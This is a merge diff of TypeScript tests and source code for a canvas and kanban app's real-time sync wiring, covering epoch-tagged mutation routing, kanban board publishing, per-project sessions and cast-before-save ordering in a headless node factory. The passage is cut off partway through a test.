+ expect(body).toMatch(/!pub\.hasOwed\(\)/)
+ expect(body).toMatch(/loadingRef\.current/)
+ expect(body).toMatch(/pub\.publish\(publishableLater\(nodesRef\.current\)\)/)
+ })
+})
+
+// The switch-window race (Task 2 review, risk E) — behaviour in nodesEpoch.test.tsx, which runs the
+// real hook against a replica of this receive path; these pin that Canvas IS that replica.
+describe('the canvas:mut receive path routes by the epoch tag', () => {
+ it('both branches go live only when liveCanvasHolds says React Flow has that project', () => {
+ const body = receiveHandler()
+ const route = /if \(!liveCanvasHolds\(nodesProjectIdRef\.current, useProjects\.getState\(\)\.activeProjectId, projectId\)\) \{/g
+ expect(body.match(route) ?? []).toHaveLength(2) // the edge branch and the node branch
+ // …and the old active-id-only test is gone from both.
+ expect(body).not.toMatch(/if \(projectId !== useProjects\.getState\(\)\.activeProjectId\)/)
+ })
+
+ it('the node branch queues a FUNCTIONAL update built on the latest state', () => {
+ const body = receiveHandler()
+ expect(body).toMatch(
+ /setNodes\(rebaseOnLatest\(base, flow, \(ns\) => applyMutationToFlow\(ns as CanvasNode\[\], mutation\)\)\)/
+ )
+ expect(body).not.toMatch(/\n\s*setNodes\(flow\)\n/)
+ })
+})
+
+describe('render-time readers pair the rendered nodes with the rendered epoch', () => {
+ // `nodesProjectIdRef` is the LATEST installed epoch now (useNodesEpoch): in the switch window it
+ // already names the incoming project while this render's `nodes` are still the outgoing one's.
+ // The context-link map (which authorizes context reads) must not pair A's links with B's id.
+ it('the context-link sync takes the rendered epoch', () => {
+ expect(src).toContain('useContextLinkSync({ projectId: renderedProjectId, nodes, edges: linkEdges })')
+ expect(src).not.toContain('useContextLinkSync({ projectId: nodesProjectIdRef.current')
+ })
+
+ it('the pull-request watch takes the rendered epoch', () => {
+ expect(src).toContain("const prWatchProjectId = prWatchNeeded ? (renderedProjectId ?? '') : ''")
+ })
+})
diff --cc src/renderer/canvas/kanban-sync-wiring.test.ts
index a012abfa9,000000000..2a74caf0b
mode 100644,000000..100644
--- a/src/renderer/canvas/kanban-sync-wiring.test.ts
+++ b/src/renderer/canvas/kanban-sync-wiring.test.ts
@@@ -1,129 -1,0 +1,132 @@@
+// Source pins for the kanban half of canvas sync (Task 6). Canvas.tsx cannot be rendered in the node
+// test environment, so the load-bearing SHAPES are pinned here; the behaviour behind each lives in
+// kanban-sync.test.ts (the publisher, and the store funnel + reducer together),
+// projects.mutation.test.ts (the hook) and canvas-sync.convergence.test.ts (boards converge).
+import { readFileSync } from 'node:fs'
+import { describe, it, expect } from 'vitest'
+const canvas = readFileSync(new URL('./Canvas.tsx', import.meta.url), 'utf8').replace(/\r\n/g, '\n')
+const store = readFileSync(new URL('../state/projects.ts', import.meta.url), 'utf8').replace(/\r\n/g, '\n')
+const omni = readFileSync(new URL('../components/kanban/GlobalKanbanView.tsx', import.meta.url), 'utf8').replace(/\r\n/g, '\n')
+
+/** From `start` to the first `end` after it (the whole rest of the file if `end` is missing). */
+function between(src: string, start: string, end: string): string {
+ const i = src.indexOf(start)
+ expect(i, `missing: ${start}`).toBeGreaterThan(-1)
+ const j = src.indexOf(end, i + start.length)
+ return src.slice(i, j === -1 ? undefined : j)
+}
+
+/** The publisher effect: from the order's creation to its teardown. */
+const publisherEffect = (): string => between(canvas, 'const order = createCanvasOrder(src)', 'orderRef.current = null')
+/** The peer-mutation receive handler. */
+const receiveHandler = (): string =>
- between(canvas, 'return activeSession.api.canvas.onMutation((projectId, mutation) => {', '}, [activeSession.api, setNodes')
++ between(canvas, 'return activeSession.api.canvas.onMutation((projectId, received) => {', '}, [activeSession.api, setNodes')
+
+describe('kanban sync wiring', () => {
+ it('Canvas registers the kanban publish hook and clears it', () => {
+ const body = publisherEffect()
+ expect(body).toMatch(/setKanbanPublishHook\(\(id, prev, next\) => kanbanPublisher\.publish\(id, prev, next\)\)/)
+ expect(body).toMatch(/setKanbanPublishHook\(null\)/)
+ })
+
+ // The board ops ride the SAME cast as the nodes and edges: one order stamps and records them, one
+ // gate decides whether anything is published at all (Task 9 extends that ONE gate).
+ it('the kanban publisher casts through castFor and asks the node publisher’s gate', () => {
+ const body = publisherEffect()
+ expect(body).toContain('send: (projectId, m) => castFor(projectId, m)')
+ expect(body).toContain('liveNodeIds: (projectId) => liveNodeIdsFor(projectId)')
+ expect(body).toContain('shouldPublish: (projectId) => shouldPublishFor(projectId)')
+ // R2: the repaired form lands through the store reducer, never through setProjectKanban.
+ expect(body).toContain('applyLocal: (projectId, m) => applyToStored(projectId, m)')
+ // …and the node publisher goes through the very same two functions.
+ expect(body).toMatch(/return castFor\(projectId, m\)/)
+ expect(body).toContain('shouldPublish: () => shouldPublishFor(useProjects.getState().activeProjectId)')
+ expect(body).not.toMatch(/setProjectKanban\(/)
+ })
+
+ // Only the core whose echoes THIS order hears may be cast to: our own echo is our ack (rule 1), and
+ // an echo from a core nobody subscribed never comes back to draw the pending entry down.
+ it('castFor refuses a project on another core, and casts through the bound session', () => {
+ const body = between(canvas, 'const castFor = (projectId: string, m: CanvasMutation): boolean => {', 'const pub = createCanvasPublisher(')
+ expect(body).toContain('if (sessionForProject(projectId).api !== activeSession.api) return false')
+ expect(body).toContain('const stamped = order.stamp({ ...m, src })')
+ expect(body).toContain('activeSession.api.canvas.mutate(projectId, stamped)')
+ const gate = between(canvas, 'const shouldPublishFor = (projectId: string): boolean =>', 'const pub = createCanvasPublisher(')
+ expect(gate).toContain('sessionForProject(projectId).api === activeSession.api')
+ expect(gate).toContain('hasPeersRef.current')
+ expect(gate).toContain('!isHostedReadOnly(activeSession.id)')
+ })
+
+ // Never a mix of two projects: the rendered project's ids come from the epoch pair, every other
+ // project's from the store.
+ it('the live node ids are the epoch-correct set for the project asked about', () => {
+ const body = between(canvas, 'const liveNodeIdsFor = (projectId: string): ReadonlySet<string> =>', 'const castFor = ')
+ expect(body).toContain('boardLiveNodeIds({')
+ expect(body).toMatch(/rendered: nodesProjectIdRef\.current === projectId \? nodesRef\.current\.map\(\(n\) => n\.id\) : null/)
+ expect(body).toMatch(/stored: \(useProjects\.getState\(\)\.getProject\(projectId\)\?\.nodes \?\? \[\]\)\.map\(\(n\) => n\.id\)/)
+ // R6: while the Omni board is open its lanes prune against the STORED nodes.
+ expect(body).toContain('omniOpen: isGlobalKanbanOpen()')
+ })
+
+ // R7: the solo path (~20 Hz while dragging) asks the cheap question first.
+ it('the one gate asks for a peer before it resolves any session', () => {
+ const gate = between(canvas, 'const shouldPublishFor = (projectId: string): boolean =>', 'const pub = createCanvasPublisher(')
+ expect(gate.indexOf('hasPeersRef.current')).toBeGreaterThan(-1)
+ expect(gate.indexOf('hasPeersRef.current')).toBeLessThan(gate.indexOf('sessionForProject('))
+ })
+
+ // R7: spec §2 batch order — node adds before card adds. A board write casts at once from the
+ // store funnel; `setNodes` lands on a later render. So a site that files a FRESH node's card casts
+ // the node first.
+ it('a fresh node is cast before the board write that files its card', () => {
+ const helper = between(canvas, 'const castNewNodeNow = useCallback(', '[publishableLater]')
+ expect(helper).toContain('if (nodesProjectIdRef.current !== projectId || loadingRef.current) return')
+ expect(helper).toContain('if (!nodesRef.current.some((n) => n.id === node.id)) nodesRef.current = [...nodesRef.current, node]')
+ expect(helper).toContain('publisherRef.current?.publish(publishableLater(nodesRef.current))')
+ for (const [start, cast] of [
+ ['const createNodeInColumn = useCallback(', 'castNewNodeNow(targetProjectId, node)'],
+ ['const fileIssueSession = useCallback(', 'castNewNodeNow(targetProjectId, created.placed)']
+ ]) {
+ const body = between(canvas, start, 'useBoardLog.getState().append(')
+ expect(body.indexOf(cast), start).toBeGreaterThan(-1)
+ expect(body.indexOf(cast), start).toBeLessThan(body.indexOf('setProjectKanban('))
+ }
+ // …and the node cast is the one React Flow will hold: `addAgentNode` hands back the node as placed.
+ expect(canvas).toContain('return { node, placed, projectId: targetProjectId }')
+ })
+
+ it('peer kanban ops are applied through the store reducer, never through setProjectKanban', () => {
+ const recv = receiveHandler()
+ expect(recv).toMatch(/if \(isKanbanOp\(mutation\)\) \{\s*applyToStored\(projectId, mutation\)\s*return\s*\}/)
+ // Before the edge and node branches: a board op never touches React Flow, active project or not.
+ expect(recv.indexOf('isKanbanOp(mutation)')).toBeLessThan(recv.indexOf('isEdgeMutation(mutation)'))
+ expect(recv).not.toMatch(/setProjectKanban\(/)
+ const apply = between(canvas, 'const applyToStored = useCallback(', '[markDirty]')
+ expect(apply).toContain('store.applyCanvasOp(projectId, mutation)')
+ })
+
+ // Spec §5: only the originating client records a board-log entry — a client applying a peer's op
+ // records nothing, or every move would be logged once per connected client.
+ it('applying a peer op never appends to the board log', () => {
+ const recv = receiveHandler()
+ expect(recv).not.toMatch(/useBoardLog|boardLogEvents|\.append\(/)
+ })
+
+ // Spec §11.4: a relay tab's board log lives on its host. The board and the Omni board sit OUTSIDE
+ // the per-session provider, so the mount-time `api` is the LOCAL core's.
+ it('board-log appends use the project session', () => {
+ const cb = canvas.slice(canvas.indexOf('boardLogEvents('), canvas.indexOf('boardLogEvents(') + 800)
+ expect(cb).toMatch(/sessionForProject\(/)
+ expect(canvas).not.toMatch(/useBoardLog\.getState\(\)\.append\(api,/)
- expect(omni).toMatch(/useBoardLog\.getState\(\)\.append\(sessionForProject\(projectId\)\.api, projectId,/)
++ // The Omni board resolves the lane's session once (main's #1041 also needs it for the hosted
++ // read-only refusal) and appends through it.
++ expect(omni).toMatch(/const session = sessionForProject\(projectId\)/)
++ expect(omni).toMatch(/useBoardLog\.getState\(\)\.append\(session\.api, projectId,/)
+ expect(omni).not.toMatch(/useBoardLog\.getState\(\)\.append\(api,/)
+ })
+
+ it('setProjectKanban publishes after writing', () => {
+ const fn = store.slice(store.indexOf('setProjectKanban(id, kanban) {'), store.indexOf('setProjectKanban(id, kanban) {') + 600)
+ expect(fn).toMatch(/const prev = get\(\)\.getProject\(id\)\?\.kanban[\s\S]*set\(\(s\) =>[\s\S]*kanbanPublishHook\?\.\(id, prev, kanban\)/)
+ })
+})
diff --cc src/renderer/components/kanban/GlobalKanbanView.live.test.tsx
index 000000000,90f5d1f59..d69a7e32b
mode 000000,100644..100644
--- a/src/renderer/components/kanban/GlobalKanbanView.live.test.tsx
+++ b/src/renderer/components/kanban/GlobalKanbanView.live.test.tsx
@@@ -1,0 -1,180 +1,180 @@@
+ // @vitest-environment jsdom
+ //
+ // The Omni overview's three contracts with the canvas underneath it:
+ // 1. the ACTIVE project's lane is the live canvas (GlobalKanbanLive), not the store copy that
+ // lags it by an autosave — a store-fed lane reverted the sticky textarea on every keystroke;
+ // 2. the open card modal is ONE fact reported to Canvas (`onModalNodeChange`), so lanes without
+ // a modal cannot clobber the lane that has one;
+ // 3. a lane's board write belongs to ITS project's session — refused for a hosted read-only role,
+ // and logged on that session's api, never the active one's.
+ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+ import { act } from 'react'
+ import { createRoot, type Root } from 'react-dom/client'
+ import type { CanvasNodeState, Project, ProjectKanban } from '@shared/types'
+ import { GlobalKanbanView, type GlobalKanbanLive } from './GlobalKanbanView'
+ import type { KanbanSession } from './KanbanView'
+ import { useProjects } from '../../state/projects'
+ import { useViewMode } from '../../state/viewMode'
+ import { useBoardLog } from '../../state/boardLog'
+ import { useSettings } from '../../state/settings'
+ import { addColumn, defaultKanban } from '../../lib/kanban'
+
+ const localApi = { tag: 'local-api' }
+ const hostedApi = { tag: 'hosted-api' }
+ vi.mock('../../session/session', () => ({
+ useSession: () => ({ id: 'local', source: 'local', api: localApi }),
+ sessionForProject: (projectId: string) =>
+ projectId === 'hosted'
+ ? { id: 'hosted-session', source: 'relay', api: hostedApi }
+ : projectId === 'relay'
+ ? { id: 'relay-session', source: 'relay', api: hostedApi }
+ : { id: 'local', source: 'local', api: localApi }
+ }))
+ vi.mock('../../state/hostedTeams', () => ({
+ isHostedReadOnly: (sessionId: string) => sessionId === 'hosted-session'
+ }))
+ vi.mock('../ContextMeter', () => ({ ContextMeter: () => null }))
+ // The modal itself is not under test — only what the overview hands it and hears back.
+ vi.mock('./CardModal', () => ({
+ CardModal: (props: { session: KanbanSession; board: ProjectKanban; onChangeBoard: (b: ProjectKanban) => void; onClose: () => void }) => (
+ <div data-testid="modal" data-node={props.session.id} data-title={props.session.title}>
+ <button data-testid="add-col" onClick={() => props.onChangeBoard(addColumn(props.board, 'Added', '#fff'))} />
+ <button
+ data-testid="assign"
+ onClick={() => props.onChangeBoard({ ...props.board, assignments: [{ nodeId: props.session.id, columnId: props.board.columns[0].id }] })}
+ />
+ <button data-testid="close" onClick={props.onClose} />
+ </div>
+ )
+ }))
+
+ let root: Root | null = null
+ let host: HTMLElement
+
+ const sticky = (id: string, text: string): CanvasNodeState => ({
+ id, kind: 'sticky', position: { x: 0, y: 0 }, size: { width: 200, height: 200 },
+ title: '', color: '#fff', group: null, text
+ } as CanvasNodeState)
+ const project = (id: string, nodes: CanvasNodeState[]): Project => ({
+ id, name: id, color: '#7aa2f7', viewport: { x: 0, y: 0, zoom: 1 }, nodes
+ } as unknown as Project)
+ const liveCard = (id: string, text: string): KanbanSession => ({
+ id, title: text, color: '#fff', kind: 'sticky', text, spawn: {}
+ } as unknown as KanbanSession)
+
+ const appended: Array<{ api: unknown; projectId: string }> = []
+
+ beforeEach(() => {
+ vi.stubGlobal('IS_REACT_ACT_ENVIRONMENT', true)
+ vi.stubGlobal('ResizeObserver', class { observe(): void {} unobserve(): void {} disconnect(): void {} })
+ ;(window as unknown as { nodeTerminal: unknown }).nodeTerminal = {
+ boardLog: { list: async () => [], onChanged: () => () => {} },
+ settings: { save: async () => {} }
+ }
+ appended.length = 0
+ useBoardLog.setState({
+ append: (api: unknown, projectId: string) => { appended.push({ api, projectId }) }
+ } as never)
+ useViewMode.setState({ requestedCardNodeId: null } as never)
+ })
+ afterEach(() => {
+ if (root) act(() => root!.unmount())
+ root = null
+ host?.remove()
+ document.body.innerHTML = ''
+ vi.unstubAllGlobals()
+ })
+
+ function mount(projects: Project[], props: { live?: GlobalKanbanLive | null; onModalNodeChange?: (id: string | null) => void } = {}): void {
+ useProjects.setState({ projects, activeProjectId: projects[0].id } as never)
+ host = document.createElement('div')
+ document.body.appendChild(host)
+ root = createRoot(host)
+ act(() => root!.render(<GlobalKanbanView {...props} />))
+ }
+ const openCard = (nodeId: string): void => {
+ act(() => useViewMode.getState().requestCard(nodeId))
+ }
+ const modal = (): HTMLElement | null => document.querySelector('[data-testid="modal"]')
+ const click = (testId: string): void => {
+ act(() => (document.querySelector(`[data-testid="${testId}"]`) as HTMLElement).click())
+ }
+
+ describe('Omni overview — the active lane is the live canvas', () => {
+ it('renders the live cards for the active project and the stored ones elsewhere', () => {
+ mount(
+ [project('p1', [sticky('a', 'stored text')]), project('p2', [sticky('b', 'other')])],
+ { live: { projectId: 'p1', sessions: [liveCard('a', 'typed just now'), liveCard('fresh', 'created a moment ago')], teams: new Map() } }
+ )
+ const p1 = document.querySelector('#swimlane-p1')!
+ expect(p1.querySelectorAll('.kanban-card--session').length).toBe(2)
+ expect(p1.textContent).toContain('created a moment ago')
+ expect(document.querySelector('#swimlane-p2')!.querySelectorAll('.kanban-card--session').length).toBe(1)
+ openCard('a')
+ // The modal edits what the canvas holds, not what the store held at the last autosave.
+ expect(modal()?.dataset.title).toBe('typed just now')
+ })
+
+ it('a board write keeps the assignment of a live card the store has not seen yet', () => {
- const board = { ...defaultKanban(), assignments: [] as ProjectKanban['assignments'] }
++ const board = { ...defaultKanban('p1'), assignments: [] as ProjectKanban['assignments'] }
+ const col = board.columns[0].id
+ board.assignments = [{ nodeId: 'fresh', columnId: col }]
+ const p1 = { ...project('p1', [sticky('a', 'x')]), kanban: board } as Project
+ mount([p1], { live: { projectId: 'p1', sessions: [liveCard('a', 'x'), liveCard('fresh', 'new')], teams: new Map() } })
+ openCard('a')
+ click('add-col')
+ const saved = useProjects.getState().getProject('p1')!.kanban!
+ expect(saved.assignments).toContainEqual({ nodeId: 'fresh', columnId: col })
+ })
+ })
+
+ describe('Omni overview — the open card modal is reported to the canvas', () => {
+ it('reports the open card, is not clobbered by the other lanes, and clears on close and unmount', () => {
+ const seen: Array<string | null> = []
+ mount([project('p1', [sticky('a', 'one')]), project('p2', [sticky('b', 'two')])], { onModalNodeChange: (id) => seen.push(id) })
+ openCard('b') // the SECOND lane — every lane before it used to report its own null after it
+ expect(modal()?.dataset.node).toBe('b')
+ expect(seen.at(-1)).toBe('b')
+ click('close')
+ expect(seen.at(-1)).toBeNull()
+ openCard('a')
+ expect(seen.at(-1)).toBe('a')
+ act(() => root!.unmount())
+ root = null
+ expect(seen.at(-1)).toBeNull()
+ })
+ })
+
+ describe("Omni overview — a lane's board belongs to its project's session", () => {
+ it('refuses a board write on a hosted read-only project', () => {
+ mount([project('p1', [sticky('a', 'x')]), project('hosted', [sticky('h', 'host')])])
+ openCard('h')
+ click('add-col')
+ expect(useProjects.getState().getProject('hosted')!.kanban).toBeUndefined()
+ expect(appended).toHaveLength(0)
+ })
+
+ it("logs a writable relay project's board change on that project's api", () => {
+ mount([project('p1', [sticky('a', 'x')]), project('relay', [sticky('r', 'relay')])])
+ openCard('r')
+ click('assign') // a card move — the diff funnel logs it
+ expect(useProjects.getState().getProject('relay')!.kanban!.assignments).toHaveLength(1)
+ expect(appended.length).toBeGreaterThan(0)
+ for (const entry of appended) expect(entry.api).toBe(hostedApi)
+ })
+ })
+
+ describe('Omni header — the scope switch replaces the close button', () => {
+ it('"This project" lands on the active project board, not the canvas', () => {
+ useSettings.setState((s) => ({ settings: { ...s.settings, omniKanbanEnabled: true } }))
+ useViewMode.setState({ globalKanban: true, viewByProject: { p1: 'canvas' } } as never)
+ mount([project('p1', [sticky('a', 'x')])])
+ expect(document.querySelector('.kanban-header__close')).toBeNull()
+ const thisProject = [...document.querySelectorAll('.kanban-scope-switch button')].find(
+ (b) => b.textContent === 'This project'
+ ) as HTMLElement
+ act(() => thisProject.click())
+ expect(useViewMode.getState().globalKanban).toBe(false)
+ expect(useViewMode.getState().viewByProject.p1).toBe('kanban')
+ })
+ })
diff --cc src/renderer/components/kanban/GlobalKanbanView.tsx
index 4181ed19a,c26c57364..b6a383fb3
--- a/src/renderer/components/kanban/GlobalKanbanView.tsx
+++ b/src/renderer/components/kanban/GlobalKanbanView.tsx
@@@ -333,10 -374,22 +374,22 @@@ export const GlobalKanbanView = memo(fu
}, [jumpTo])
const onChangeBoard = useCallback((projectId: string, next: ProjectKanban) => {
+ // Each lane belongs to ITS project's session — a relay/hosted tab's board is not the active
+ // session's. Same rule as the per-project board: a hosted Viewer/Commenter's board is the
+ // host's to change, and a move here would only diverge.
+ const session = sessionForProject(projectId)
+ if (isHostedReadOnly(session.id)) return
- const prev = useProjects.getState().getProject(projectId)?.kanban ?? defaultKanban()
+ const prev = useProjects.getState().getProject(projectId)?.kanban ?? defaultKanban(projectId)
useProjects.getState().setProjectKanban(projectId, next)
markWorkspaceDirty()
+ const lv = liveRef.current
const cardTitle = (nodeId: string) => {
+ // The active lane's cards are live; a card created a moment ago is not in the store yet,
+ // and '' would read as "pruned removal" in the diff.
+ if (lv && lv.projectId === projectId) {
+ const card = lv.sessions.find(x => x.id === nodeId)
+ return card ? card.title || 'Untitled' : ''
+ }
const proj = useProjects.getState().getProject(projectId)
const n = proj?.nodes.find(x => x.id === nodeId)
if (!n) return ''
@@@ -406,15 -460,11 +460,11 @@@
</div>
<div className="global-kanban__scroll">
{projects.map((p, idx) => {
- const board = p.kanban ?? defaultKanban()
+ const board = p.kanban ?? defaultKanban(p.id)
- const sessions = p.nodes.map(n => toKanbanSessionState(n as never)).filter((s): s is KanbanSession => s !== null)
+ const isLive = live !== null && live.projectId === p.id
+ const sessions = isLive
+ ? live.sessions
+ : p.nodes.map(n => toKanbanSessionState(n as never)).filter((s): s is KanbanSession => s !== null)
return (
<Swimlane
key={p.id}
diff --cc src/renderer/state/projects.ts
index 23c44c0df,bbb99fe8f..62e21ec6c
--- a/src/renderer/state/projects.ts
+++ b/src/renderer/state/projects.ts
@@@ -22,8 -22,7 +22,8 @@@ import
pruneLayoutViewports,
type CanvasLayout
} from '@shared/canvas-layout'
-import { applyCanvasMutation, applyOwnCanvasMutation, createProject, reorderGroupWithinParent } from './workspace'
+import { applyCanvasOp as applyCanvasOpTo, contentOf } from '@shared/canvas-content'
- import { createProject, reorderGroupWithinParent } from './workspace'
++import { applyOwnCanvasMutation, createProject, reorderGroupWithinParent } from './workspace'
import { markWorkspaceDirty } from './workspaceDirty'
import { folderName } from '../lib/projectOpen'
// One order-independent key for an edge's endpoints — the SAME rule `hiddenLinkIds` uses, so a
@@@ -167,19 -152,16 +167,27 @@@ interface ProjectsState
* This must not be skipped for background projects: their serialized nodes are what the next
* whole-file `workspace.save` writes, so dropping a peer's `remove` would resurrect the node
* they deleted on the very next save — the data-loss shape canvas sync exists to fix.
+ *
+ * Delegates to `applyCanvasOp` (one reducer), so it takes any family.
*/
applyNodeMutation(projectId: string, mutation: CanvasMutation): boolean
+ /**
+ * The EDGE counterpart, for the same background-project path. Edges (`bridges` = context links,
+ * `ropes` = display-only lineage) ride the same whole-file save as the nodes, so dropping a
+ * peer's edge mutation for a project we are not looking at has the identical failure mode: our
+ * next save writes a project without their edge, deleting it for everyone.
+ *
+ * Returns false if the project is unknown here (nothing applied). Delegates to `applyCanvasOp`.
+ */
+ applyEdgeMutation(projectId: string, mutation: CanvasMutation): boolean
+ /**
+ * Applies a mutation THIS renderer authored (a cold open, an off-canvas display node, the
+ * headless start's outcome patch) to a project that is not on screen. Unlike `applyNodeMutation`
+ * nothing is stripped: the node's machine-local `pendingLaunch` is ours to set, and an upsert
+ * without one CLEARS it (the peer path carries the old one across instead — @shared/node-exec).
+ * Never route a peer's mutation through this.
+ */
+ applyOwnNodeMutation(projectId: string, mutation: CanvasMutation): boolean
/** Renames a node within a project (source of truth for inactive projects). */
renameNode(projectId: string, nodeId: string, title: string): void
/** Recolors a node within a project. */
@@@ -653,14 -611,16 +673,24 @@@ export const useProjects = create<Proje
return true
},
+ applyNodeMutation(projectId, mutation) {
+ return get().applyCanvasOp(projectId, mutation)
+ },
+
+ applyEdgeMutation(projectId, mutation) {
+ return get().applyCanvasOp(projectId, mutation)
+ },
+
+ applyOwnNodeMutation(projectId, mutation) {
+ if (!get().projects.some((p) => p.id === projectId)) return false
+ set((s) => ({
+ projects: mapProjectNodes(s.projects, projectId, (nodes) =>
+ applyOwnCanvasMutation(nodes, mutation)
+ )
+ }))
+ return true
+ },
+
renameNode(projectId, nodeId, title) {
set((s) => ({
projects: mapProjectNodes(s.projects, projectId, (nodes) =>
diff --cc src/server/headless-node-factory.test.ts
index 9e8a4a6e8,a79d218d4..44a5cb30a
--- a/src/server/headless-node-factory.test.ts
+++ b/src/server/headless-node-factory.test.ts
@@@ -13,11 -11,10 +14,12 @@@ import { initCanvasSync, publishCanvasM
import type { AgentState } from '../shared/agents/normalize'
import { MAX_LAUNCH_LINE_BYTES } from '../shared/canonical-line'
import { RUN_NOW_AFTER_REFUSAL } from '../shared/control-verbs'
+ import { RUN_NOW_AFTER_SUCCESS_REFUSAL, type StationOutcomeRecord } from '../shared/station-outcome'
import {
DEFAULT_SETTINGS,
+ type CanvasMutation,
type CanvasNodeState,
+ type Project,
type PtyCreateOptions,
type PtyCreateResult,
type Settings,
@@@ -242,13 -242,11 +249,15 @@@ describe('HeadlessNodeFactory', () =>
codexSharedIdentity: async () => codexSharedIdentity,
ownership,
stateOf: (id) => states[id],
+ outcomeOf: (id) => outcomes[id],
+ handedOver: (id) => handedOver.has(id),
launchTiming: { quietMs: 0, capMs: 0 },
- publishNode: (_projectId, node) => published.push(node),
- publishRemoval: (_projectId, nodeId) => removed.push(nodeId),
+ // Every content op the factory casts; `published` / `removed` keep the node halves these
+ // tests assert on (edges and board ops are cast too — see the cast-before-save suite).
+ publishMutation: (_projectId, m) => {
+ if (m.op === 'upsert') published.push(m.node)
+ else if (m.op === 'remove') removed.push(m.id)
+ },
publishProject: (project) => publishedProjects.push(structuredClone(project))
})
})
@@@ -1645,479 -1860,3 +1870,582 @@@
expect(node?.pendingLaunch).toEqual(held)
})
})
+
+// Every content change this factory makes is CAST before it is SAVED (docs/hosted-team-relay.md):
+// on a project a canvas authority governs, the save is overlaid with the authority's content, which
+// holds only what it heard as ops — so a change that is not cast first is dropped from disk.
+describe('HeadlessNodeFactory — casts every content change before it saves', () => {
+ let dataDir = ''
+ let projectDir = ''
+ let store: WorkspaceStore
+ let pty: FakePty
+ let ownership: HeadlessNodeOwnership
+
+ const deps = (over: Partial<HeadlessNodeFactoryDeps>): HeadlessNodeFactoryDeps => ({
+ workspaceStore: store,
+ ptyManager: pty,
+ settings: () => ({ ...DEFAULT_SETTINGS, claudePermissionMode: 'manual' }),
+ cliCaps: async () => ({ version: null, autoPermissionMode: false, fullscreenTui: false, sessionIdFlag: false }),
+ grokCaps: async () => ({ sessionIdFlag: false, models: [] }),
+ codexCaps: async () => ({ approvalValues: ['on-request', 'never'] }),
+ codexSharedIdentity: async () => false,
+ ownership,
+ stateOf: () => undefined,
+ launchTiming: { quietMs: 0, capMs: 0 },
+ ...over
+ })
+
+ beforeEach(async () => {
+ dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'nodeterm-headless-cast-'))
+ projectDir = path.join(dataDir, 'project')
+ fs.mkdirSync(projectDir, { recursive: true })
+ resetPlatformForTests()
+ initPlatform(fakePlatform({ userDataDir: dataDir }))
+ store = new WorkspaceStore()
+ pty = new FakePty()
+ ownership = createHeadlessNodeOwnership()
+ ownership.record('term-owned', { sourceNodeId: 'term-source', projectId: 'project-1' })
+ await store.save({
+ version: 2,
+ activeProjectId: 'project-1',
+ projects: [
+ {
+ id: 'project-1',
+ name: 'Test',
+ color: '#0a84ff',
+ cwd: projectDir,
+ viewport: { x: 0, y: 0, zoom: 1 },
+ nodes: [terminal('term-source', 'Director'), terminal('term-owned', 'Owned', 'gemini', 900)],
+ bridges: [],
+ ropes: []
+ }
+ ]
+ })
+ })
+
+ afterEach(() => {
+ setReflectedListener(null)
+ resetPlatformForTests()
+ fs.rmSync(dataDir, { recursive: true, force: true })
+ })
+
+ const label = (m: CanvasMutation): string =>
+ m.op === 'upsert'
+ ? `upsert ${m.node.id}`
+ : m.op === 'remove'
+ ? `remove ${m.id}`
+ : m.op === 'edge-upsert'
+ ? `edge-upsert ${m.kind} ${m.edge.source}->${m.edge.target}`
+ : m.op === 'edge-remove'
+ ? `edge-remove ${m.id}`
+ : m.op
+
+ it('an open-agent that draws a rope and a bridge casts the node and BOTH edges, all before the save', async () => {
+ const log: string[] = []
+ const recording: HeadlessWorkspace = {
+ load: (o) => store.load(o),
+ save: async (ws) => {
+ log.push('save')
+ return store.save(ws)
+ }
+ }
+ const factory = new HeadlessNodeFactory(
+ deps({ workspaceStore: recording, publishMutation: (_p, m) => log.push(label(m)) })
+ )
+ const reply = await factory.openAgent('term-source', { agent: 'claude', prompt: 'hello' }, true)
+ factory.stop()
+ expect(reply).toMatchObject({ ok: true })
+ const id = (reply.result as { id: string }).id
+ // The first save persists the node, its hold, the rope and the bridge: every one of them was
+ // cast BEFORE it, node first (an edge naming a node a peer does not have yet would be dropped).
+ const firstSave = log.indexOf('save')
+ expect(log.slice(0, firstSave)).toEqual([
+ `upsert ${id}`,
+ `edge-upsert bridge term-source->${id}`,
+ `edge-upsert rope term-source->${id}`
+ ])
+ // The delivery's own save (the hold cleared) is cast before it too.
+ expect(log.slice(firstSave + 1)).toEqual([`upsert ${id}`, 'save'])
+ })
+
+ it('a close casts the node removal and the edges it takes with it, before the save', async () => {
+ const workspace = await store.load({ sideline: false })
+ workspace.projects[0].ropes = [{ id: 'rope-1', source: 'term-source', target: 'term-owned' }]
+ workspace.projects[0].bridges = [{ id: 'bridge-1', source: 'term-source', target: 'term-owned' }]
+ await store.save(workspace)
+ const log: string[] = []
+ const recording: HeadlessWorkspace = {
+ load: (o) => store.load(o),
+ save: async (ws) => {
+ log.push('save')
+ return store.save(ws)
+ }
+ }
+ const factory = new HeadlessNodeFactory(
+ deps({ workspaceStore: recording, publishMutation: (_p, m) => log.push(label(m)) })
+ )
+ expect(await factory.close('term-source', { node: 'term-owned' }, true)).toMatchObject({ ok: true })
+ factory.stop()
+ expect(log).toEqual(['edge-remove bridge-1', 'edge-remove rope-1', 'remove term-owned', 'save'])
+ })
+
+ it('a verb that changes nothing casts nothing', async () => {
+ const cast: CanvasMutation[] = []
+ const factory = new HeadlessNodeFactory(deps({ publishMutation: (_p, m) => cast.push(m) }))
+ // A refusal (unowned target) saves nothing and casts nothing.
+ expect(await factory.rename('term-source', { node: 'term-source', title: 'x' })).toMatchObject({ ok: false })
+ factory.stop()
+ expect(cast).toEqual([])
+ })
+
+ it('on a GOVERNED project the new node and its rope survive the overlaid save (a real authority)', async () => {
+ initCanvasSync()
+ // No flush timer ever fires: what is on disk after the verb is exactly what its own save wrote.
+ const authority = createCanvasAuthority({
+ sharedProjectIds: () => new Set(['project-1']),
+ readContent: (id) => store.readProjectContent(id),
+ writeContent: (id, c) => store.writeProjectContent(id, c),
+ publish: (id, m) => {
+ publishCanvasMutation(id, m)
+ },
+ setTimer: () => null,
+ clearTimer: () => {},
+ log: () => {}
+ })
+ store.setContentAuthority(authority)
+ setReflectedListener((id, m) => authority.onReflected(id, m))
+ // The production default: casts go through the real reflector.
+ const factory = new HeadlessNodeFactory(deps({}))
+ const reply = await factory.openTerminal('term-source', {}, true)
+ expect(reply).toMatchObject({ ok: true })
+ const id = (reply.result as { id: string }).id
+ const file = JSON.parse(fs.readFileSync(path.join(projectDir, '.nodeterm', 'project.json'), 'utf8')) as {
+ nodes: CanvasNodeState[]
+ ropes?: Array<{ source: string; target: string }>
